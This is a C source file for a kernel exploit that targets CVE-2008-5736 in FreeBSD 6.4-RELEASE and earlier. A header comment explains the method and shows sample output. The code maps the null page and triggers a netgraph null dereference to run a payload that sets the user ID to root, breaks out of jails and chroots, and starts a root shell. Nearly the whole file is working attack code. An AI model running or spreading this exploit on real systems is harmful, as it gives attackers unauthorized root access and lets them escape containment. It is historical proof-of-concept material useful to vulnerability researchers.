/*
 * FreeBSD <= 6.4-RELEASE Netgraph Exploit
 * by zx2c4
 *
 *
 * This is an exploit for CVE-2008-5736, the FreeBSD protosw
 * and loosely based on Don Bailey's 2008 exploit -
 * http://www.exploit-db.com/exploits/7581/ . The thing with
 * Don's exploit is that it relies on having a known location
 * of allproc, which means having access to the kernel or
 * debugging symbols, either of which might not be available.
 * Initial attempts included a general memory search for some
 * characteristics of allproc, but this was difficult to make
 * reliable. This solution here is a much more standard - get
 * the current thread, change its permissions, and execl to
 * shell. Additionally, it breaks out of chroots and freebsd
 * jails by reparenting to pid 1 and copying its fds.
 *
 * This reliably works on kernels on or below 6.4-RELEASE:
 *
 * $ gcc a.c
 * $ ./a.out
 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
 * ~~~~~ greetz to don bailey, edemveiss ~~~~~
 *
 * [+] mmapping null page
 * [+] adding jmp to pwnage in null page
 * [+] opening netgraph socket
 * [+] triggering null dereference
 * [+] elevating permissions
 * [+] got root!
 * #
 *
 * It's an oldie, but simple enough that someone needed
 * to write another PoC exploit at some point.
 *
 * cheers,
 * zx2c4, 27-2-2011
 *
 */

#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/filedesc.h>
#include <sys/queue.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#define PAGES 1

volatile int got_root = 0;
int root(void)
{
 struct thread *thread;
 asm(
  "movl %%fs:0, %0"
  : "=r"(thread)
 );
 thread->td_critnest = 0;
 thread->td_proc->p_ucred->cr_uid = 0;
 thread->td_proc->p_ucred->cr_prison = NULL;

 struct proc *parent = thread->td_proc;
 while (parent->p_pptr && parent->p_pid != 1)
  parent = parent->p_pptr;
 thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
 thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
 thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
 thread->td_proc->p_pptr = parent;

 got_root = 1;
 return 0;
}

int main(int argc, char *argv[])
{
 printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
 printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
 printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");

 printf("[+] mmapping null page\n");
 if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
  perror("[-] mmap failed");
  return -1;
 }

 printf("[+] adding jmp to pwnage in null page\n");
 *(char*)0x0 = 0x90;
 *(char*)0x1 = 0xe9;
 *(unsigned long*)0x2 = (unsigned long)&root;

 printf("[+] opening netgraph socket\n");
 int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
 if (s < 0) {
  perror("[-] failed to open netgraph socket");
  return -1;
 }

 printf("[+] triggering null dereference\n");
 shutdown(s, SHUT_RDWR);

 if (!got_root) {
  printf("[-] failed to trigger pwnage\n");
  return -1;
 }

 printf("[+] elevating permissions\n");
 setuid(0); 
 setgid(0);
 if (getuid() != 0) {
  printf("[-] failed to get root\n");
  return -1;
 }

 printf("[+] got root!\n");
 execl("/bin/sh", "sh", NULL);

 return 0;
}